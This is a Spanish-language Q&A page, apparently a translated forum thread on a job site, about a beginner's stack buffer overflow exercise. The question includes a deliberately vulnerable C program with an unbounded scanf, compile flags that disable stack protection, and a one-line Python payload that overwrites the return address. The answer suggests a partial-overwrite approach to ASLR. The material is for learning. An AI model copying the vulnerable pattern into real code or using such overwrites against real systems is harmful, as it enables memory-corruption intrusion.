Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

129
Vistas
¿Pasar la cadena de explotación de desbordamiento de búfer mientras el programa se está ejecutando?

Estoy haciendo un ejemplo realmente simple de desbordamiento de búfer, tengo este código:

 #include <stdio.h> void secretFunction() { printf("Congratulations!\n"); printf("You have entered in the secret function!\n"); } void echo() { char buffer[20]; printf("Enter some text:\n"); scanf("%s", buffer); printf("You entered: %s\n", buffer); } int main() { echo(); return 0; }

Para empezar, compilo este archivo sin protecciones de pila y aslr se apagó:

 gcc buf.c -o vuln_nostack -fno-stack-protector -m32 -no-pie

Para explotar esto, simplemente queremos inyectar la dirección de memoria de la función secreta para que podamos ejecutarla. Esto se puede hacer ejecutando el archivo con python generando la entrada:

 $ python -c 'print "a"*32 + "\xd6\x91\x04\x08"' | ./vuln_nostack Enter some text: You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑ Congratulations! You have entered in the secret function! Segmentation fault (core dumped)

Lo que golpea mi función secreta. Así que esto funciona.

Pero ahora el problema es que también quiero trabajar con aslr, así que quiero generar la dirección de la función secreta al inicio del programa, y luego hacer que la entrada maliciosa dependa de eso. Por eso quiero esperar ingresando cualquier cosa al programa, hasta haber visto lo que me ha impreso.

Pero si ahora ejecuto el programa donde solo doy la entrada manualmente mientras se ejecuta el programa:

 ./vuln_nostack Enter some text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08 You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08 Segmentation fault (core dumped)

Luego, simplemente maneja mi entrada correctamente y el valor no se desborda. Se produce un error de segmentación, lo que indica que algo está sucediendo, pero no en la misma dirección a mi función secreta

Soy bastante nuevo en los desbordamientos, y realmente no entiendo por qué sucede esto, cuando la entrada generada por python realmente funciona.

Entonces, mi pregunta es si hay una manera de hacer este desbordamiento simple "manualmente" mientras se ejecuta el programa. ¿O si necesitaré escribir algún script (tal vez Python) que pueda interactuar con este programa defectuoso y darle la entrada correcta mientras se ejecuta?

over 4 years ago · Santiago Trujillo
1 Respuestas
Responde la pregunta

0

Usted dice que su entrada se maneja correctamente en el segundo ejemplo, pero este no es el caso, puede ver que en la segunda vez que ejecutó el programa, tuvo una falla de segmentación, lo que significa que accedió a la memoria que no puede ser deferenciada (Ya sea debido a una protección de memoria incorrecta o debido a una dirección de memoria no válida).

La razón por la que no pudo saltar a secretFunction() en su segunda ejecución es que estaba asumiendo que los análisis scanf escaparon de los valores Unicode como Unicode, pero cuando ingresa "\ xd6" no se analiza a un valor Unicode pero se analiza a 4 caracteres '' 'x' 'd' '6'. Como se ejecuta en una máquina de 32 bits, esta es la dirección que el programa intenta ejecutar, lo que probablemente conduce a un error de segmento, ya que esta memoria probablemente no sea válida ni ejecutable.

Solo una idea sobre cómo superar ASLR sin conectarse con gdb después de ejecutar el programa y buscar la dirección en la que se cargó el programa: puede intentar desbordar solo los 2 bytes inferiores, como si no me equivoco, solo los 2 bytes superiores son aleatorios con ASLR, por lo tanto, solo necesita desbordar el "desplazamiento", que es constante incluso con ASLR.

Aquí hay material de aprendizaje sobre desbordamientos de pila: https://insecure.org/stf/smashstack.html

over 4 years ago · Santiago Trujillo Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda